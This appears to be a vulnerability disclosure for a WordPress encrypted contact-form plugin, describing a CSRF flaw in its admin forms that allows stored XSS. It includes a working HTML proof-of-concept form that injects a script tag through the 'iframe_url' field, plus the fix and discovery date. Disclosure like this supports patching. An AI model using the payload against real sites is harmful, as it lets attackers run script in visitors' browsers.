Uses end-to-end encryption to send user information. Not even your hosting provider can view the content. Let users send you information in a secure way. Uses I.CX messaging service to encrypt user content in their own web browsers before sending to you. ## Vulnerability Description: The forms in the admin area of the plugin are vulnerable to CSRF, via which the contact forms generated are susceptible to XSS via unsanitized POST parametre. For example, the admin function of updating an existing form can be done via CSRF. Hence, by submitting a crafted HTML string in the parametres via CSRF, a XSS attack gets launched which affects all the visitors of the page(s) containing the contact form. ## Proof of Concept: <form action="http://localhost/wp-admin/options-general.php?page=conformconf"; method="post"> <input type="hidden" name="name" value="required" /> <input type="hidden" name="email" value="optional" /> <input type="hidden" name="phone" value="off" /> <input type="hidden" name="message" value="required" /> <input type="hidden" name="display_name" value="Example" /> <input type="hidden" name="recipient_name" value="example" /> <input type="hidden" name="cfc_page_name" value="" /> <!-- Wordpress page-id value --> <input type="hidden" name="existing_page" value="28" /> <input type="hidden" name="cfc_selection" value="upd" /> <input type="hidden" name="iframe_url" value=""></iframe><script>alert('XSS!');</script>" /> <input type="submit" value="Update Page"> </form> ## Solution: Upgrade to v1.1 of the plugin. ## Disclosure Timeline: 2015-03-26 - Discovered.
